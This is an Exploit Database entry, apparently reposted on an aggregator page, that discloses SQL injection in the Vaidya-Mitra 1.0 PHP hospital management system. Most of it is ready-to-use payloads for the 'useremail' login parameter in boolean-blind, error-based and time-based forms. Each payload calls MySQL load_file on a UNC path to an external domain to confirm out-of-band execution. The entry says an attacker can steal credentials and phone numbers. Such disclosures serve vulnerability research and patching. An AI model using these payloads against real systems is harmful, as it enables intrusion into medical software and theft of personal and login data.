Vaidya-Mitra 1.0 – Multiple SQLi

• Exploit Database
• 10 阅读

• 作者： nu11secur1ty
  日期： 2023-07-19
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51596/

• ## Title: Vaidya-Mitra 1.0 - Multiple SQLi
  ## Author: nu11secur1ty
  ## Date: 07.12.2023
  ## Vendor: https://mayurik.com/
  ## Software: free:
  https://www.sourcecodester.com/php/16720/free-hospital-management-system-small-practices.html,
  https://mayurik.com/source-code/P5890/best-hospital-management-system-in-php
  ## Reference: https://portswigger.net/web-security/sql-injection
  
  ## Description:
  The `useremail` parameter appears to be vulnerable to SQL injection
  attacks. The payload '+(select
  load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+'
  was submitted in the useremail parameter. This payload injects a SQL
  sub-query that calls MySQL's load_file function with a UNC file path
  that references a URL on an external domain. The application
  interacted with that domain, indicating that the injected SQL query
  was executed. The attacker easily can steal all information from this
  system, like
  login credentials, phone numbers and etc.
  
  STATUS: HIGH Vulnerability
  
  [+]Payload:
  ```mysql
  ---
  Parameter: useremail (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
  or GROUP BY clause
  Payload: useremail=mayuri.infospace@gmail.com'+(select
  load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''
  RLIKE (SELECT (CASE WHEN (5532=5532) THEN
  0x6d61797572692e696e666f737061636540676d61696c2e636f6d+(select
  load_file(0x5c5c5c5c6c726730667377767533773131677039727237656b33623734796172796c6d637030686e3762772e6f6173746966792e636f6d5c5c6d6576))+''
  ELSE 0x28 END)) AND 'tsyu'='tsyu&userpassword=rootadmin
  
  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
  GROUP BY clause (FLOOR)
  Payload: useremail=mayuri.infospace@gmail.com'+(select
  load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''
  AND (SELECT 3518 FROM(SELECT COUNT(*),CONCAT(0x716a766a71,(SELECT
  (ELT(3518=3518,1))),0x71626a6b71,FLOOR(RAND(0)*2))x FROM
  INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
  'gHln'='gHln&userpassword=rootadmin
  
  Type: time-based blind
  Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
  Payload: useremail=mayuri.infospace@gmail.com'+(select
  load_file('\\\\lrg0fswvu3w11gp9rr7ek3b74yarylmcp0hn7bw.tupaputka.com\\mev'))+''
  OR (SELECT 4396 FROM (SELECT(SLEEP(3)))iEbq) AND
  'ZWBa'='ZWBa&userpassword=rootadmin
  ---
  
  ```
  
  ## Reproduce:
  [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2023/Vaidya-Mitra-1.0)
  
  ## Proof and Exploit:
  [href](https://www.nu11secur1ty.com/2023/07/vaidya-mitra-10-multiple-sqli.html)
  
  ## Time spend:
  00:27:00